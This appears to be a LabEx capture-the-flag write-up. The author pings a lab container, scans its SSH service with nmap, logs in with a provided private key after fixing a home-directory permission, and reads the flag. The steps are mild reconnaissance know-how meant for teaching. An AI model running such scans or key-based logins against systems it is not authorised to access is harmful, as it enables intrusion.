SSH Enumeration & Key-based Access

A project in the Cybersecurity Skill Tree

Project description

In this project, I will demonstrate the fundamentals of SSH service discovery, configuration enumeration, and exploitation of misconfigured key-based authentication.

Verify Connectivity to Target with Ping

First, I will use the “ping” command to test if the target server is reachable.

```
labex:project/ $ ping -c 4 target
PING target (172.17.0.2) 56(84) bytes of data.
64 bytes from target (172.17.0.2): icmp_seq=1 ttl=64 time=0.044 ms
64 bytes from target (172.17.0.2): icmp_seq=2 ttl=64 time=0.037 ms
64 bytes from target (172.17.0.2): icmp_seq=3 ttl=64 time=0.041 ms
64 bytes from target (172.17.0.2): icmp_seq=4 ttl=64 time=0.037 ms

--- target ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3058ms
rtt min/avg/max/mdev = 0.037/0.039/0.044/0.003 ms
```

Scan Open Ports with Nmap

Next, I will run a custom nmap scan to detect a running ssh service and gather additional information about it.

```
labex:project/ $ nmap -sV --script ssh-hostkey -p22 target
Starting Nmap 7.80 ( https://nmap.org ) at 2025-11-09 00:56 CST
Nmap scan report for target (172.17.0.2)
Host is up (0.00012s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.49 seconds
```

Connect to Target via SSH

Now that I have discovered the ssh service on the target, I will make a key-based access attempt after setting the correct permissions on the provided private key and the directory for the provided username.

```
labex:project/ $ ls
id_rsa
labex:project/ $ chmod 600 id_rsa
labex:project/ $ docker exec target-container ls -ld /home/testuser
drwxrwxrwx 3 testuser testuser 4096 Nov  8 15:47 /home/testuser
labex:project/ $ docker exec target-container chmod 755 /home/testuser
labex:project/ $ ssh -i id_rsa testuser@target
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-56-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

testuser@target:~$
```

Explore Target System and Locate Flag

I have successfully accessed the target machine over SSH without having to use a password. To confirm the compromise, I will find and read the contents of the flag in the machine's main directory.

```
testuser@target:~$ ls
flag.txt
testuser@target:~$ cat flag.txt
labex{ssh_k3y_b4s3d_acc3ss_fl4g}
```

Summary

This exercise emphasizes the importance of keeping private keys secure and maintaining correct access permissions, even with secure services like SSH.